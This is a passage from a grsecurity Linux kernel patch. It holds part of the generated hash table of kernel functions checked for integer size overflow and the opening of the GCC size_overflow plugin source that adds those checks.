++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL
++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL
++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL
++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL
++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash
++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL
++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL
++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL
++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL
++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL
++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL
++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL
++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL
++_003497_hash play_iframe 3 8219 _003497_hash NULL
++_003498_hash probes_write 3 29711 _003498_hash NULL
++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash
++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL
++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL
++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL
++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL
++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL
++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL
++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash
++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL
++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL
++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL
++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray
++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL
++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL
++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL
++_003514_hash qc_capture 3 19298 _003514_hash NULL
++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash
++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL
++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL
++_003518_hash Realloc 2 34961 _003518_hash NULL
++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL
++_003520_hash reg_w_buf 3 27724 _003520_hash NULL
++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL
++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL
++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL
++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL
++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL
++_003527_hash rvmalloc 1 46873 _003527_hash NULL
++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL
++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL
++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL
++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL
++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL
++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL
++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL
++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL
++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL
++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL
++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL
++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL
++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL
++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL
++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL
++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL
++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL
++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL
++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL
++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL
++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL
++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL
++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL
++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL
++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL
++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL
++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL
++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL
++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL
++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL
++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL
++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL
++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL
++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL
++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL
++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL
++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL
++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL
++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL
++_003567_hash send_control_msg 6 48498 _003567_hash NULL
++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL
++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL
++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL
++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL
++_003575_hash sn9c102_read 3 29305 _003575_hash NULL
++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL
++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL
++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL
++_003579_hash store_debug_level 3 35652 _003579_hash NULL
++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL
++_003581_hash sys_prctl 4 8766 _003581_hash NULL
++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash
++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL
++_003584_hash ts_read 3 44687 _003584_hash NULL
++_003585_hash ts_write 3 64336 _003585_hash NULL
++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL
++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL
++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL
++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL
++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL
++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL
++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL
++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL
++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL
++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL
++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL
++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL
++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL
++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL
++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL
++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash
++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL
++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL
++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL
++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL
++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash
++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash
++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL
++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL
++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL
++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL
++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL
++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL
++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL
++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL
++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL
++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL
++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL
++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL
++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL
++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL
++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL
++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL
++_003624_hash udi_log_event 3 58105 _003624_hash NULL
++_003625_hash udl_prime_create 2 57159 _003625_hash NULL
++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL
++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL
++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL
++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL
++_003630_hash unifi_read 3 14899 _003630_hash NULL
++_003631_hash unifi_write 3 65012 _003631_hash NULL
++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL
++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL
++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL
++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL
++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL
++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL
++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL
++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL
++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL
++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL
++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL
++_003645_hash vfd_write 3 14717 _003645_hash NULL
++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL
++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL
++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL
++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL
++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL
++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL
++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL
++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL
++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL
++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL
++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL
++_003657_hash video_usercopy 2 62151 _003657_hash NULL
++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL
++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL
++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash
++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL
++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL
++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL
++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL
++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL
++_003667_hash zoran_write 3 22404 _003667_hash NULL
++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL
++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL
++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL
++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL
++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL
++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL
++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash
++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL
++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL
++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL
++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL
++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL
++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL
++_003682_hash ivtv_read 3 57796 _003682_hash NULL
++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL
++_003684_hash mce_async_out 3 58056 _003684_hash NULL
++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL
++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL
++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL
++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL
++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL
++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL
++_003694_hash process_bulk_data_command 4 38906 _003694_hash NULL
++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL
++_003696_hash qcam_read 3 13977 _003696_hash NULL
++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL
++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash
++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL
++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL
++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL
++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL
++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL
++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL
++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL
++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL
++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL
++_003710_hash update_macheader 7 1775 _003710_hash NULL
++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray
++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL
++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL
++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL
++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL
++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash
++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL
++_003718_hash vb2_read 3 42703 _003718_hash NULL
++_003719_hash vb2_write 3 31948 _003719_hash NULL
++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL
++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL
++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL
++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL
++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL
++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL
++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL
++_003728_hash video_ioctl2 2 21380 _003728_hash NULL
++_003729_hash vmap 2 15025 _003729_hash NULL
++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL
++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL
++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL
++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL
++_003737_hash xenfb_write 3 43412 _003737_hash NULL
++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL
++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL
++_003740_hash bttv_read 3 11432 _003740_hash NULL
++_003741_hash cx18_read 3 23699 _003741_hash NULL
++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL
++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL
++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL
++_003745_hash dt3155_read 3 59226 _003745_hash NULL
++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL
++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL
++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash
++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL
++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash
++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL
++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL
++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash
++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL
++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL
++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL
++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL
++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL
++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL
++_003766_hash video_read 3 28148 _003766_hash NULL
++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL
++_003769_hash xd_rw 3-4 49020 _003769_hash NULL
++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL
++_003772_hash zr364xx_read 3 2354 _003772_hash NULL
++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL
++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL
++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL
++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL
++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL
++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL
++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL
++_003783_hash do_test 1 15766 _003783_hash NULL
++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash
++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL
++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL
++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL
++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL
++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL
++_003792_hash ioremap 1-2 23172 _003792_hash NULL
++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL
++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL
++_003797_hash mpeg_read 3 6708 _003797_hash NULL
++_003798_hash msix_map_region 3 3411 _003798_hash NULL
++_003799_hash ms_rw 3-4 17220 _003799_hash NULL
++_003801_hash pci_iomap 3 47575 _003801_hash NULL
++_003802_hash pd_video_read 3 24510 _003802_hash NULL
++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL
++_003805_hash solo_enc_read 3 33553 _003805_hash NULL
++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL
++_003807_hash timblogiw_read 3 48305 _003807_hash NULL
++_003808_hash tm6000_read 3 4151 _003808_hash NULL
++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL
++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL
++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL
++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL
++_003814_hash vbi_read 3 63673 _003814_hash NULL
++_003815_hash viacam_read 3 54526 _003815_hash NULL
++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash
++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL
++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash
++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL
++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL
++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash
++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL
++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL
++_003824_hash acpi_map 1-2 58725 _003824_hash NULL
++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL
++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash
++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL
++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL
++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash
++_003834_hash cycx_setup 4 47562 _003834_hash NULL
++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL
++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash
++_003839_hash doc_probe 1 23285 _003839_hash NULL
++_003840_hash DoC_Probe 1 57534 _003840_hash NULL
++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash
++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL
++_003844_hash isp1760_register 1-2 628 _003844_hash NULL
++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL
++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL
++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL
++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL
++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL
++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL
++_003853_hash pcim_iomap 3 58334 _003853_hash NULL
++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL
++_003856_hash read_vbt_r0 1 503 _003856_hash NULL
++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL
++_003858_hash register_device 2-3 60015 _003858_hash NULL
++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL
++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL
++_003864_hash sfi_map_table 1 5462 _003864_hash NULL
++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL
++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL
++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL
++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL
++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL
++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL
++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL
++_003874_hash com90xx_found 3 13974 _003874_hash NULL
++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL
++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL
++_003877_hash sfi_check_table 1 6772 _003877_hash NULL
++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL
++_003879_hash sriov_enable 2 59689 _003879_hash NULL
++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL
++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL
++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL
++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL
++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL
++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL
++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL
++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL
++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL
++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL
++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL
++_003891_hash cma_create_area 2 38642 _003891_hash NULL
++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL
++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL
++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL
++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL
+--- tools/gcc/size_overflow_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,1879 @@
++/*
++ * Copyright 2011, 2012 by Emese Revfy <re.emese@gmail.com>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/overflow_plugin/
++ *
++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute
++ * with double integer precision (DImode/TImode for 32/64 bit integer types).
++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed.
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c
++ * $ gcc -fplugin=size_overflow_plugin.so test.c  -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "intl.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "toplev.h"
++#include "function.h"
++#include "tree-flow.h"
++#include "plugin.h"
++#include "gimple.h"
++#include "c-common.h"
++#include "diagnostic.h"
++#include "cfgloop.h"
++
++#if BUILDING_GCC_VERSION >= 4007
++#include "c-tree.h"
++#else
++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP)
++#endif
++
++struct size_overflow_hash {
++	const struct size_overflow_hash * const next;
++	const char * const name;
++	const unsigned int param;
++};
++
++#include "size_overflow_hash.h"
++
++enum marked {
++	MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL
++};
++
++#define __unused __attribute__((__unused__))
++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node))
++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node))
++#define BEFORE_STMT true
++#define AFTER_STMT false
++#define CREATE_NEW_VAR NULL_TREE
++#define CODES_LIMIT 32
++#define MAX_PARAM 32
++#define MY_STMT GF_PLF_1
++#define NO_CAST_CHECK GF_PLF_2
++
++#if BUILDING_GCC_VERSION == 4005
++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
++#endif
++
++int plugin_is_GPL_compatible;
++void debug_gimple_stmt(gimple gs);
++
++static tree expand(struct pointer_set_t *visited, tree lhs);
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs);
++static tree report_size_overflow_decl;
++static const_tree const_char_ptr_type_node;
++static unsigned int handle_function(void);
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before);
++static tree get_size_overflow_type(gimple stmt, const_tree node);
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3);
++
++static struct plugin_info size_overflow_plugin_info = {
++	.version	= "20120930beta",
++	.help		= "no-size-overflow\tturn off size overflow checking\n",
++};
++
++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	default:
++		*no_add_attrs = true;
++		error("%s: %qE attribute only applies to functions", __func__, name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static const char* get_asm_name(tree node)
++{
++	return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node));
++}
++
++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count, arg_num;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	case FIELD_DECL:
++		arg_num = TREE_INT_CST_LOW(TREE_VALUE(args));
++		if (arg_num != 0) {
++			*no_add_attrs = true;
++			error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name);
++		}
++		return NULL_TREE;
++	default:
++		*no_add_attrs = true;
